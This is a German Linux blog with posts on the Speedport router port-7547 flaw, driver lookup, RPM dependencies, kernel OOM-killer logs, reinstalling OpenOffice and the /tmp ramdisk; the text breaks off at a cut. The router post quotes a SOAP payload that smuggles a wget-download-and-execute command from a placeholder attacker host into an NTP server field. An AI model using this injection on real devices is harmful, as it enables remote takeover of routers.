Speedportrouter der DTAG von Sicherheitsloch betroffen

Jetzt ist es endlich final, die DSL-Speedportrouter der Deutschen Telekom haben ein Sicherheitsloch auf Port 7547 :

https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

und ein echt dreckiges dazu, weil die Kisten a) auf jeden Zugriff reagieren und b) eine Remote-Execution möglich ist. Der Hack funktioniert so:

<NewNTPServer1>
`cd /tmp;wget http://angreiferszum nachladen von code/1>;chmod 777 1;./1`
</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>

Natürlich gehört zu dem Request noch mehr, aber das sind die Grundlagen und aus dem Kontext kann man ersehen, daß hier einfach ein parameter aus dem Web genommen wird und an die Bash weitergereicht wird ohne den Inhalt auf Konsistenz zu prüfen. Ein einfacher Test, ob da ein Domainname/IP drinsteht, hätte das bundesweite Chaos vom Wochenende verhindert.

Die DSL-Router wurden Ihnen „proudly presented by Zyxel“ !!! Amis 😉

 

Der erste Advents Nicht-Boot

Wenn Ihr Rechner beim Booten laufend nach dem Festplattenentschlüsselungspasswort fragt, aber das Kryptolaufwerk einfach nicht starten will, könnte es sein, daß es das tatsächlich schlicht nicht kann, weil es nicht da ist.

Was zunächst wie eine Sträter Geschichte, so gegen Mittag, kurz vorm Frühstück, anfängt, löste sich zum Glück schnell wieder auf. Hier eine Kurzzusammenfassung:

Wenn das Stromkabel nicht in der Platte steckt,
der Rechner beim Booten schlicht verreckt,
und kommt der wackre Linuxmann,
blitzesschnelle an die Hardware ran,
im Handumdrehen ist dann geschehen,
die Platte scheint doch noch zugehen.

EIne frohe und fehlerfreie Adventszeit.

Diese Woche im Netz

Ebola kann auch nur übertragen werden, ohne daran zu sterben oder zu leiden.

Quelle: Spectrum

MEGA ( der Storageanbieter formely known as Komm-ich-in-die-USA,-bleib-ich-für-immer-da ) wurde jetzt Opfer eines Hacks. Die Angreifer haben sich den Sourcecode diverser Projekte gegriffen.

Quelle: TorrentFreak

Aus Zeitmangel hat sich der zukünftige US-Präsident D.T. mit einem Vergleich aus einem Prozess um seine „Trump University“ zurückgezogen. Die Uni sollte erfolgreiche Geschäftsleute hervorbringen, was woll nicht ganz geklappt hat. Aber lest es selbst.

Quelle: Tagesspiegel

Neues aus der Redox-Fux-Batterie Ecke. Die Idee aus den 70er Jahren wird immer interessanter, weil es immer mehr Werkstoffe gibt, welche die nötigen Eigenschaften haben.

Quelle: Golem

Auf Millionen China Smartphones sind RootKitartige Tools vorinstalliert, die alle Daten des Besitzers übermitteln können.

Quelle: TheHackerNews

Diese Woche im Netz

Infiltration – Zersetzung – Bloßstellung  – Brasiliens Polizei/Armee und die sozialen Netze

Quelle: Motherboard

Über die russische Milzbrandforschung im kalten Krieg und danach.

Quelle: ArsTechnica

Ich konnte nicht anders als laut Lachen: „Angela Merkel – Führerin der freien Welt“

Quelle: zeit.de

Ihr kauft Eure Festplatten danach was einzelne Testergebnisse in PC Zeitungen Euch sagen ? WIe wärs mal mit belastbaren Statistiken 🙂

Quelle: ArsTechnica

Indien hat eine Aktion gegen Schwarzgeld gestartet, die echt einzigartig ist.

Quelle: heise.de

Eine Anti-Piracy Firma hat die Webseite der Konkurrenz nachgemacht, behauptet die Firma würde dicht machen und die eigene Konkurrenz empfohlen. Urheberrechte kann man ja ruhig verletzten, wenn man Geld damit verdienen kann 😉

Quelle: TorrentFreak

Aktive Hardwaretreiber ermitteln

Wer kennt das nicht, das Laptop läuft unrund, erkennt vielleicht den WLAN Chip nicht mehr sauber und man möchte den Treiber ersetzen.

Erste Frage: Woher weiß man, welcher Treiber überhaupt zuständig ist ?

Dazu gibt es den wirklich tollen Befehl „lshw“ , den wir hier nur auf das Netzwerk ansetzen. Er kann aber auch alle andere HW ermitteln, einfach das -C Network  weglassen.

$  lshw -C Network
  *-network                 
       description: Ethernet interface
       product: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller
       vendor: Realtek Semiconductor Co., Ltd.
       physical id: 0
       bus info: pci@0000:02:00.0
       logical name: enp2s0
       version: 09
       serial: 40:16:7f:22:5b:43
       size: 1Gbit/s
       capacity: 1Gbit/s
       width: 64 bits
       clock: 33MHz
       capabilities: pm msi pciexpress msix vpd bus_master cap_list ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd 1000bt 1000bt-fd autonegotiation
       configuration: autonegotiation=on broadcast=yes driver=r8169 driverversion=2.3LK-NAPI duplex=full firmware=rtl8168f-1_0.0.5 06/18/12 ip=192.168.0.99 latency=0 link=yes multicast=yes port=MII speed=1Gbit/s
       resources: irq:45 ioport:d000(size=256) memory:d2104000-d2104fff memory:d2100000-d2103fff
  *-network:0
       description: Ethernet interface
       physical id: 1
       logical name: virbr0
       capabilities: ethernet physical
       configuration: broadcast=yes driver=bridge driverversion=2.3 firmware=N/A ip=192.168.122.1 link=no multicast=yes
  *-network:1 DISABLED
       description: Ethernet interface
       physical id: 2
       logical name: virbr0-nic
       serial: 52:54:00:0a:cf:07
       size: 10Mbit/s
       capabilities: ethernet physical
       configuration: autonegotiation=off broadcast=yes driver=tun driverversion=1.6 duplex=full link=no multicast=yes port=twisted pair speed=10Mbit/s

In Fett finden sich hier die Angaben zu den Treiber:

driver=tun driverversion=1.6
driver=bridge driverversion=2.3
driver=r8169 driverversion=2.3LK-NAPI

„tun“ ist der Tunneltreiber, also zum Aufbau von VPN Tunneln aller Art, „bridge“ ist für die Virtualisierungsbrücke, also wenn man per Boxen, VirtualBox oder KVM virtuelle Maschinen betreibt und „r8169“ ist dann endlich der RealTek Treiber für meine Netzwerkkarte. Je nach verbauter Hardware bekommt Ihr hier natürlich andere Treiber angezeigt.

Kurz Verifizieren:

# lsmod | grep r8169
r8169                  81920  0
mii                    16384  1 r8169

„lsmod“ zeigt die geladenen Kernelmodule an und nach unserem Treiber gefragt, sagt es, daß das Modul mii diesen Treiber einmal geöffnet hat. „mii“ ist ein Standard für Netzwerkkarten. Entsprechend benannt sind die mii-tools: u.a.

# mii-tool enp2s0
enp2s0: negotiated 1000baseT-HD flow-control, link ok

Die können natürlich noch viel mehr machen.

Wo findet man diesen Treiber jetzt ?

Unter /usr/lib/modules liegen sämtliche Kernelmodule nach kernels gruppiert, also suchen wir dort :

# find  /usr/lib/modules -name „*r8169*“
/usr/lib/modules/4.8.6-201.fc24.x86_64/kernel/drivers/net/ethernet/realtek/r8169.ko.xz
/usr/lib/modules/4.8.7-200.fc24.x86_64/kernel/drivers/net/ethernet/realtek/r8169.ko.xz
/usr/lib/modules/4.8.4-200.fc24.x86_64/kernel/drivers/net/ethernet/realtek/r8169.ko.xz

„ko“ steht für „kernelobject“ und „.xz“ ist ein einfacher Kompressionsalgorithmus, damit die Treiber nicht so viel Platz wegnehmen.  Jetzt darf man nicht auf die Idee kommen, daß wenn der Treiber im einen Kernel defekt ist, man einfach die Datei von einem alten Kernel kopiert, das klappt nicht 🙂 Selbst kompilieren ist angesagt, und das ist leider ein anderes Thema.

Das Ganze hier kann natürlich nur klappen, wenn der Treiber überhaupt funktioniert.

Wie bekommt man jetzt raus, welcher Treiber der richtige wäre, wenn er denn ginge ?

Der einfachste Weg: Linux Livedisk auf einen USB Stick ziehen, davon Booten und mit lshw nachsehen, was das System dazu meint. Die Treiber in den Livedisks sind i.d.R. etwas sagen wir mal „robuster“ gewählt. Ist natürlich keine Garantie. Ich empfehle auch eine Distro Livedisk zunehmen,  die entweder komplett anders ist als die auf dem System Distro installierte, oder viel neuer bzw. älter ist. Die Chance eine andere Treiberversion zu bekommen, ist dann einfach höher.

Es kommt leider mal vor, daß ein Patch für eine Chipserie eines Herstellers, den Support für ganz alte Chips entfernt oder daß die Initialparameter zum Ansteuern des älteren Chips mit Werten neuerer Chips der gleichen Serie ausgetauscht wurden. Das passiert einfach und ist keine böse Absicht des Herstellers Eurer Distro. Die Versuchen es halt auf soviel wie möglich Laptops/Mainboards zum Laufen zu bringen.

Wenn man erstmal eine funktionierende Version gefunden hat, kann man sich aus den dazugehörigen SOURCEN einen funktionierenden Treiber kompilieren und den dann auch im System laden. Idealerweise würde man den anders nennen, als den aus der Distro, so daß man den paralell installiert haben kann, ohne das er gleich wieder übergenagelt wird.

Treiber kann man im System üblicherweise beim Booten per Kernelparameter blacklisten, so das die nicht geladen werden, auch wenn sie vorhanden sind. Man trägt dann seinen eigenen Treiber in die /etc/modprobe.conf ein und der wird dann beim Start geladen. Dummerweise muß man den Treiber für jeden Kernel neu bauen. Kleiner Tip, schaut Euch mal AKMODS an, die bauen sich bei Updates selbst zusammen, wenn ein Treiber fehlt.

Fedora: RPM Depencies in Paketen rausbekommen

Wer wissen will, welche Pakete ein anderes Programmpaket min. braucht, der wird mit diesem Bashcode glücklicher:

# rpm -qR php | grep „\.so\.“ | grep -v „(“ | awk ‚{print „rpm -qf `locate „$1″|sort -u |grep -v opt`“;}‘ | bash | sort -u
glibc-2.22-18.fc23.i686
krb5-libs-1.14.3-8.fc23.i686
libcom_err-1.42.13-3.fc23.i686
libxml2-2.9.3-2.fc23.i686
openssl-libs-1.0.2j-1.fc23.i686
pcre-8.39-6.fc23.i686
zlib-1.2.8-9.fc23.i686

rpm -qR gibt die Abhängikeiten in Dateien an und spuckt leider meistens nur Libnamen ( *.so.* ) aus. Damit diese Paketen zugeordnet werden können, müssen wir das RPM erneut zum Prüfen vorlegen, dazu finden wir die Datei auf dem Computer mit „locate“, sortieren aus, was wir nicht wollen ( hier fremdinstallierte Dateien in /opt ), fragen RPM zu welcher Datei diese Files gehören ( rpm -qf ) und sortieren doppelt Antworten raus ( sort -u ).

 

 

Linuxkernel 4.7/4.8 und der OOM-Killer

Es ist mal wieder soweit:  „mir ham a problem“ (cnr)

Leider ist es kein witziges Problem, deswegen ist der Gag oben auch echt unangebracht, aber wie das so ist, Menschen versuchen ernste Probleme mit Humor zu vereinfachen. Vermutlich geben die „Forscher“ Ihren tollen Sicherheitslücken deswegen Namen wie „Dirty COW“ oder „Poodle“.

Out-Of-Memory

Wie Ihr schon im Beitrag über das Abschalten der RAM Disk für /tmp lesen konntet, sind OOM Probleme grade meine Hauptsorge #1.  Seit Kernel 4.7.2 häufen sich die Meldungen, daß  Systeme mit exorbitant viel RAM keinen Speicher mehr haben. Das Kürzel ist OOM was für Out-Of-Memory steht und die dafür zuständige Kernelkomponente ist, na wer räts? Der OOM-Killer 🙂

Mein aktuelles Sorgenkind hat 10 GB RAM und benutzt davon im Normalfall 1.5 GB, der Rest geht für Caches drauf, was die Performance des Systems erhöht, aber auch die Ursache sein könnte, denn mit 8.5 GB freiem Speicher, kann man wohl kaum im normalen Betrieb einen OOM produzieren, wenn man einen Webserver betreibt. Es gibt nur einen Grund wieso ein OOM passieren kann : Die Anforderung an RAM ist größer als der freie Speicher + Swap .

Ursachenforschung

Bei der Analyse des Problems fiel auf, daß SWAP überhaupt nicht benutzt wird, wenn es zum OOM kommt, was nur bedeuten kann, der Algorithmus des OOM-Mechanismuses im Kernel hat einen Bug. Wie es der Zufall so will, hatte das 16 GB Laptop von Linus Torvalds im September einen OOM Vorfall, welcher Mr. Linux dazu gebracht hat, eine Email dazu rumzuschicken. In der Email findet sich der Hinweis, daß Linus vermutet, ein 1 KB Ramrequest hätte seine 16 GB Maschine zum OOM gezwungen. Ferner entnehmen wir der Email, daß im Kernel 4.7 ein neuer Patch für OOM Situationen implementiert wurde:

"I'm afraid that the oom situation is still not fixed, and the "let's
die quickly" patches are still a nasty regression." (Linus Torvalds, 18.9.2016)

Nun passiert das zum Glück nicht nur mir, weil mir ja sonst wieder Paranoia und „unsupported systemconfigurations“ vorgeworfen würden 😉 . Einer der Bugreporter bei Redhat berichtet dann auch, daß er das verhindern konnte, indem er einen Cron eingerichtet hat, der alle 2 Stunden die Caches auf die Platte geflusht hat.

Ob Cacheflushen hilft ?

sync && echo 1 > /proc/sys/vm/drop_caches

Natürlich werde ich das ausprobieren, denn wenn das funktioniert, ist die Ursache sehr wahrscheinlich Memory Fragmentation caused by Cacheallocations. Das würde nämlich passen. Der Server hat immer dann Probleme, wenn viel Cachespeicher in Gebrauch ist. Caches bauen sich nicht so auf, daß der Kernel sieht „oh jetzt habe ich 8 GB frei, laß mal 8 GB am Stück belegen, ich gebs frei, wenn einer was will“ sondern das wird Portionsweise gemacht, mal hier 100 MB, da mal 200 MB, wie die Aktivitäten des Systems das eben grade brauchen. d.b. Selbst wenn keine neuen Prozesse über die Zeit dazu kämen und Speicher bräuchten, würde der freie Speicher in Cacheblöcke aufgeteilt, die wiederum nach Benutzung ggf. freigegeben und neu alloziert werden.

1 Woche Memorystatistiken

1 Woche Memorystatistiken und solange die Caches klein waren, gab es keine OOMs.

Dies ist ein hochdynamischer Vorgang, den man sich als Laie schwer vorstellen kann. Selbst Cachblöcke werden intern über einen Poolingalgorithmus verwaltet, d.b. der Kernel nimmt mehr freien Speicher als er grade braucht in der Annahme, daß der in Zukunft schon belegt werden wird. Daher gibt es im MemoryPool Funktionen Speicher innerhalb eines Pools zu allozieren oder freizugeben : Speicherverwaltung in Speicherblöcken.

Memorypools

Das ist beileibe keine neue Erfindung, das hatte schon ein Amiga 1988 zu bieten. So ein MemoryPool ist sogar extrem sinnvoll in dynamischen Situationen, weil man damit Verwaltungslasten vom System auf einen Prozess umlagert (Stichwort Selbstorganisation). Der Kernel muß sich um weniger Speicherbereiche kümmern, was den Aufwand minimiert und die Speicherverwaltungsketten für Speicherblöcke minimiert. Das schafft quasi „Übersicht“ und ist für alle schneller, weil er bessere Entscheidungen treffen kann.

OOM im Logfile

Damit Ihr einen OOM erkennen könnt, so sieht der im Logfile aus :

Nov 16 20:28:52 {VMNAME} kernel: Out of memory: Kill process 4348 (java) score 36 or sacrifice child
 Nov 16 20:28:52 {VMNAME} kernel: Killed process 4348 (java) total-vm:1415176kB, anon-rss:411284kB, file-rss:16108kB, shmem-rss:0kB
 Nov 16 22:09:07 {VMNAME} kernel: mysqld invoked oom-killer: gfp_mask=0x27000c0(GFP_KERNEL_ACCOUNT|__GFP_NOTRACK), order=1, oom_score_adj=0
 Nov 16 22:09:07 {VMNAME} kernel: mysqld cpuset=/ mems_allowed=0
 Nov 16 22:09:07 {VMNAME} kernel: CPU: 1 PID: 670 Comm: mysqld Not tainted 4.7.10-100.fc23.i686+PAE #1
 Nov 16 22:09:07 {VMNAME} kernel: c0e18967 cebd2808 0000020f d0fd5d30 c0753527 c6b34200 00000021 d0fd5d78
 Nov 16 22:09:07 {VMNAME} kernel: c05d8adf c0d35b0c ca15a574 027000c0 d0fd5e6c 00000001 00000000 d0fd5d58
 Nov 16 22:09:07 {VMNAME} kernel: c0b4133d d0fd5d78 c075928f ecfa6000 00000000 c0e29320 c6b34200 00000021
 Nov 16 22:09:07 {VMNAME} kernel: Call Trace:
 Nov 16 22:09:07 {VMNAME} kernel: [<c0753527>] dump_stack+0x58/0x81
 Nov 16 22:09:07 {VMNAME} kernel: [<c05d8adf>] dump_header+0x4d/0x18f
 Nov 16 22:09:07 {VMNAME} kernel: [<c0b4133d>] ? _raw_spin_unlock_irqrestore+0xd/0x10
 Nov 16 22:09:07 {VMNAME} kernel: [<c075928f>] ? ___ratelimit+0x9f/0xf0
 Nov 16 22:09:07 {VMNAME} kernel: [<c057426b>] oom_kill_process+0x1db/0x3c0
 Nov 16 22:09:07 {VMNAME} kernel: [<c047556a>] ? has_capability_noaudit+0x1a/0x30
 Nov 16 22:09:07 {VMNAME} kernel: [<c0573bdd>] ? oom_badness.part.14+0xad/0x120
 Nov 16 22:09:07 {VMNAME} kernel: [<c057463b>] out_of_memory+0x18b/0x2c0
 Nov 16 22:09:07 {VMNAME} kernel: [<c057920c>] __alloc_pages_nodemask+0xccc/0xd20
 Nov 16 22:09:07 {VMNAME} kernel: [<c05795cf>] alloc_kmem_pages_node+0x2f/0xa0
 Nov 16 22:09:07 {VMNAME} kernel: [<c04693a4>] copy_process.part.38+0xf4/0x1490
 Nov 16 22:09:07 {VMNAME} kernel: [<c0454ab1>] ? pvclock_clocksource_read+0xa1/0x160
 Nov 16 22:09:07 {VMNAME} kernel: [<c0454ab1>] ? pvclock_clocksource_read+0xa1/0x160
 Nov 16 22:09:07 {VMNAME} kernel: [<c046a904>] _do_fork+0xd4/0x370
 Nov 16 22:09:07 {VMNAME} kernel: [<c0761756>] ? _copy_to_user+0x26/0x30
 Nov 16 22:09:07 {VMNAME} kernel: [<c046ac8c>] SyS_clone+0x2c/0x30
 Nov 16 22:09:07 {VMNAME} kernel: [<c040377e>] do_int80_syscall_32+0x5e/0xc0
 Nov 16 22:09:07 {VMNAME} kernel: [<c0b41891>] entry_INT80_32+0x31/0x31
 Nov 16 22:09:07 {VMNAME} kernel: [<c0b40000>] ? rt_mutex_futex_unlock+0x30/0x40
 Nov 16 22:09:08 {VMNAME} kernel: Mem-Info:
 Nov 16 22:09:08 {VMNAME} kernel: active_anon:183856 inactive_anon:113422 isolated_anon:0#012 active_file:1090753 inactive_file:852861 isolated_file:0#012 unevictable:0 dirty:0 writeback:2 unstable:0#012 slab_reclaimable:54066 slab_unreclaimable:12950#012 mapped:32115 shmem:173 pagetables:4656 bounce:0#012 free:271310 free_pcp:0 free_cma:0
 Nov 16 22:09:08 {VMNAME} kernel: DMA free:2328kB min:16kB low:20kB high:24kB active_anon:0kB inactive_anon:0kB active_file:1256kB inactive_file:264kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15996kB managed:4472kB mlocked:0kB dirty:0kB writeback:0kB mapped:4kB shmem:0kB slab_reclaimable:300kB slab_unreclaimable:212kB kernel_stack:16kB pagetables:40kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:336 all_unreclaimable? no
 Nov 16 22:09:08 {VMNAME} kernel: lowmem_reserve[]: 0 579 10099 10099
 Nov 16 22:09:08 {VMNAME} kernel: Normal free:4724kB min:3068kB low:3832kB high:4596kB active_anon:220kB inactive_anon:292kB active_file:161300kB inactive_file:133144kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:720888kB managed:604904kB mlocked:0kB dirty:0kB writeback:0kB mapped:240kB shmem:0kB slab_reclaimable:215964kB slab_unreclaimable:51588kB kernel_stack:4704kB pagetables:18584kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
 Nov 16 22:09:08 {VMNAME} kernel: lowmem_reserve[]: 0 0 76160 76160
 Nov 16 22:09:08 {VMNAME} kernel: HighMem free:1078188kB min:512kB low:13108kB high:25704kB active_anon:735204kB inactive_anon:453396kB active_file:4200456kB inactive_file:3278036kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:9748488kB managed:9748488kB mlocked:0kB dirty:0kB writeback:8kB mapped:128216kB shmem:692kB slab_reclaimable:0kB slab_unreclaimable:0kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
 Nov 16 22:09:08 {VMNAME} kernel: lowmem_reserve[]: 0 0 0 0
 Nov 16 22:09:08 {VMNAME} kernel: DMA: 18*4kB (UMEH) 16*8kB (UME) 13*16kB (UMEH) 12*32kB (UME) 14*64kB (UME) 3*128kB (UME) 1*256kB (U) 0*512kB 0*1024kB 0*2048kB 0*4096kB = 2328kB
 Nov 16 22:09:08 {VMNAME} kernel: Normal: 1100*4kB (UMEH) 3*8kB (H) 0*16kB 6*32kB (H) 2*64kB (H) 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 4744kB
 Nov 16 22:09:08 {VMNAME} kernel: HighMem: 10121*4kB (UM) 3475*8kB (UM) 6526*16kB (UM) 11333*32kB (UM) 4201*64kB (UM) 981*128kB (UM) 206*256kB (UM) 49*512kB (UM) 31*1024kB (UM) 9*2048kB (M) 5*4096kB (M) = 1078268kB
 Nov 16 22:09:08 {VMNAME} kernel: 1944132 total pagecache pages
 Nov 16 22:09:08 {VMNAME} kernel: 323 pages in swap cache
 Nov 16 22:09:08 {VMNAME} kernel: Swap cache stats: add 6908, delete 6585, find 321637/322832
 Nov 16 22:09:08 {VMNAME} kernel: Free swap  = 1036992kB
 Nov 16 22:09:08 {VMNAME} kernel: Total swap = 1048572kB
 Nov 16 22:09:08 {VMNAME} kernel: 2621343 pages RAM
 Nov 16 22:09:08 {VMNAME} kernel: 2437122 pages HighMem/MovableOnly
 Nov 16 22:09:08 {VMNAME} kernel: 31877 pages reserved
 Nov 16 22:09:08 {VMNAME} kernel: 0 pages hwpoisoned
 Nov 16 22:09:08 {VMNAME} kernel: [ pid ]   uid  tgid total_vm      rss nr_ptes nr_pmds swapents oom_score_adj name
 Nov 16 22:09:08 {VMNAME} kernel: [  319]     0   319    17618    11423      33       4       26             0 systemd-journal
 Nov 16 22:09:08 {VMNAME} kernel: [  354]     0   354     3343      804       7       4       92         -1000 systemd-udevd
 Nov 16 22:09:08 {VMNAME} kernel: [  422]     0   422     3457      706       6       4       65         -1000 auditd
 Nov 16 22:09:08 {VMNAME} kernel: [  445]     0   445     1550       21       6       4       79             0 rpc.idmapd
 Nov 16 22:09:08 {VMNAME} kernel: [  450]    70   450     1711      902       7       4       65             0 avahi-daemon
 Nov 16 22:09:08 {VMNAME} kernel: [  453]     0   453      583      405       5       4       27             0 acpid
 Nov 16 22:09:08 {VMNAME} kernel: [  454]     0   454     9615     4806      22       4     1336             0 yum-updatesd
 Nov 16 22:09:08 {VMNAME} kernel: [  458]     0   458      989      662       5       4       23             0 systemd-logind
 Nov 16 22:09:08 {VMNAME} kernel: [  464]     0   464   128506     9331     135       4      111             0 rsyslogd
 usw. usw. usw.

Hier wird ein  Java Prozess gekillt, weil Mysql mehr Speicher brauchte 🙁

Wie man an diesen Zeilen sehen kann, war min. 4.5 GB RAM frei und der Swap wurde nicht benutzt.

 Nov 16 22:09:08 {VMNAME} kernel: Normal free:4724kB min:3068kB low:3832kB high:4596kB active_anon:220kB inactive_anon:292kB active_file:161300kB inactive_file:133144kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:720888kB managed:604904kB mlocked:0kB dirty:0kB writeback:0kB mapped:240kB shmem:0kB slab_reclaimable:215964kB slab_unreclaimable:51588kB kernel_stack:4704kB pagetables:18584kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
 Nov 16 22:09:08 {VMNAME} kernel: HighMem free:1078188kB min:512kB low:13108kB high:25704kB active_anon:735204kB inactive_anon:453396kB active_file:4200456kB inactive_file:3278036kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:9748488kB managed:9748488kB mlocked:0kB dirty:0kB writeback:8kB mapped:128216kB shmem:692kB slab_reclaimable:0kB slab_unreclaimable:0kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
 Nov 16 22:09:08 {VMNAME} kernel: Free swap  = 1036992kB
 Nov 16 22:09:08 {VMNAME} kernel: Total swap = 1048572kB

Wenn man sich den Thread auf der Kernel-ML weiter durchliest, kommt raus, daß erst mit Kernel 4.9 mit einer Verbesserung zu rechnen ist. Ab 4.9 wird ein anderer Algorithmus benutzt, der „härter“ versuchen soll, den OOM zu verhindern. Man wird sehen.

Update 18:00 Uhr :

Das Wegflushen der Filecache hat nichts gebracht. Aber Kernel 4.6.8 sollte noch keine oom’s produzieren. Das beinhaltet aber wieder eine Angriffsfläche für den Dirty COW Exploit.

LibreOffice doch keine Alternative zu OpenOffice ?

Wer von LibreOffice enttäuscht ist und lieber OpenOffice benutzen will, ich kann es verstehen. Man sollte ja annehmen, daß LibreOffice als „das“ gepflegtere Officepaket weniger Probleme hätte, ergo auch „kompatibler“ ist. Leider ist das nicht so. Meine Fedora LibreOfficeversion konnte genau „gar kein“ Dokument öffnen und ist dabei auch noch laufend abgeschmiert. Da das Update von Fedora 23 auf 24 auch noch meine OpenOffice Installation ungefragt durch LibreOffice ersetzt hat, ist es Zeit für einen Neustart.

Erstmal weg mit der Zwangsbeglückung

Zunächst löschen wir mal LibreOffice, weil es sich mit einer RPM basierten Installation von OpenOffice beissen würde:

dnf erase "libreoffice*"

Dann laden wir uns OpenOffice von einem Mirror herunter:

http://ftp-stud.hs-esslingen.de/pub/Mirrors/ftp.apache.org/dist/openoffice/4.1.3/binaries/de/Apache_OpenOffice_4.1.3_Linux_x86-64_install-rpm_de.tar.gz
http://ftp-stud.hs-esslingen.de/pub/Mirrors/ftp.apache.org/dist/openoffice/4.1.3/binaries/de/Apache_OpenOffice_4.1.3_Linux_x86_langpack-rpm_de.tar.gz

In der Version ist der letzte Hotfix auch drin, also kann das ohne weiteres installiert werden.

Dazu legt Ihr am besten einen leeren Ordner an, z.B. Programme/OpenOffice :

tar xzvf Apache_OpenOffice_4.1.3_Linux_x86_langpack-rpm_de.tar.gz
tar xzvf Apache_OpenOffice_4.1.3_Linux_x86-64_install-rpm_de.tar.gz

Dann wechselt hier in das Verzeichnis „de/RPMS“ (cd de/RPMS) und führt den Befehl aus:

sudo dnf install *x86_64.rpm ./desktop-integration/openoffice4.1.3-redhat-menus-4.1.3-9783.noarch.rpm

Das installiert die 64Bit Version von OpenOffice. Wer die 686er Version braucht, muß das etwas anpassen.

Kaum das OpenOffice korrekt installiert ist, kann man auch wieder Excel 2007 Dokumente öffnen, die man leider im Geschäftsleben braucht.

Jetzt die Fragen an Euch:

Welche Probleme habt Ihr mit Eurem Officepaket ?
Funktioniert Libre bei Euch sauber, oder seid Ihr auch auf OpenOffice angewiesen ?Misfällt Euch der Startbildschirm von Libre auch so wie mir ? Der sieht irgendwie „Billig“ aus.

Ich bin gespannt auf Euren Input.

Diese Woche im Netz

Die Stadtverwaltung von Indiana wurde von einem Verschlüsselungstrojaner matt gesetzt und hat gezahlt.

Quelle: ArsTechnica

NetFlix hat sich erfolgreich mit einer Klage gegen die Patente über „TV Guides“  zu Wehr gesetzt und TiVo und Rovi ausgeknockt.

Quelle: ArsTechnica

Alle bisherigen Androidgeräten können durch „Dirty Cow“ gerootet werden. Super Sache 😀

Quelle: Golem.de

Das Ende von IPv4 naht. IETF soll Standards auf IPv6 optimieren.

Quelle: Golem.de

Eine Wohnanlage in Finnland wurde Opfer eines DDOS Angriffs auf Ihre Heizungsanlage, die natürlich über das Netz erreichbar war und dann wie erwartet ausgefallen ist.

Quelle: Motherboard

Wie man die TMP Ramdisk entfernt

Auf normalen Desktopsystemen ist es eine gute Sache, wenn der /tmp/ Ordner im RAM liegt. Auf /tmp/ wird sehr häufig und meistens eher kleinteilig zugegriffen, so das man diese Zugriffe  am besten von der Festplatte oder der SSD fern hält. Auf einem Server kann das aber auch von Nachteil sein.

[root@server ~]# df -h
Dateisystem    Größe Benutzt Verf. Verw% Eingehängt auf
devtmpfs        5,0G       0  5,0G    0% /dev
tmpfs           5,0G       0  5,0G    0% /dev/shm
tmpfs           5,0G    532K  5,0G    1% /run
tmpfs           5,0G       0  5,0G    0% /sys/fs/cgroup
/dev/xvda1      245G    178G   56G   77% /
tmpfs           5,0G     38M  5,0G    1% /tmp
tmpfs          1012M       0 1012M    0% /run/user/0

Im obigen Beispiel von einem unserer Server, kann man sehen, daß für die „tmpfs“ Laufwerke 5 GB maximale Größe angegeben ist. DEV, RUN, SYS werden das niemals erreichen, die sind eher im KB Bereich angesiedelt. Über die Sinnhaftigkeit, dann 5 GB als MAX Größe zu nehmen, kann man sicher streiten. Ist aber für die Betrachtung egal, denn es handelt sich um eine dynamische Speicherbelegung, deswegen auch „maximale Größe“. In Real sind die genau so groß, wie die Daten darin das brauchen. Lege ich dort 1 MB ab, ist es 1 MB und ein bisschen was für die Verwaltung groß.

An der „Verwendung“ in Prozent bzw. „Benutzt“ kann man auch sehen, das oben keins der TmpFS Ramdrives übermäßig belegt war. Die Ramdrives haben also bei dem Stand zusammen grade mal 39 MB echten Speicher belegt.

So weit, so gut.

Das obige Serversystem hat 10 GB Speicher zur Verfügung, was es üblicherweise auch braucht. d.h. es sind permanent mehrere GB an RAM in realer Benutzung.

Datenbankserver wie MariaDB erlauben es den Benutzern bei Abfragen sogenannte TEMP-Tables zu erstellen. Das wird vorzugsweise im RAM gemacht. Wenn aber das RAM nicht reicht, weil jemand einen TEMP-Table zusammen baut, der mehrere GB groß ist, dann wird das in den /tmp/ Ordner ausgelagert. Und man glaubt gar nicht wie unsensible mache Anwendungsentwickler im Umgang mit solchen Temp-Tables sind. „Killer SQL-Anweisungen“ in Shops, die „ein bisschen mehr und schneller“  gewachsen sind, als die Hersteller das erwartet haben, sind keine Seltenheit. Schlechtes Datenbankdesign sowieso nicht 😉  Und damit fängt der Ärger dann üblicherweise auch an.

Was bei einem Killer-SQL passieren kann …

Der Hauptspeicher des Datenbankserver hatte schon nicht ausgereicht um den Temp-Table anzulegen, und über die Ramdisk wird jetzt versucht den Speicher zusätzlich nochmal zu belegen, der vorher schon nicht ausreichend da war. Der Kernel wird jetzt versuchen diese Datenmengen zu swappen und kann das vielleicht nicht, weil die SWAP Partition zu klein ist. Nun kommt es zum „OOM“ dem Out-of-Memory-Error. d.h. der Kernel fängt an, scheinbar wahllos Prozesse zu killen, die viel Speicher belegen, aber noch nicht lange laufen. Eine genauere Analyse nimmt der Kernel leider nicht vor.

Wie kommt man jetzt aus der Falle wieder raus ?

Verantwortlich für das Erzeugen der Ramdisk ist diese Systemd Unit : /usr/lib/systemd/system/tmp.mount

#  This file is part of systemd.
#
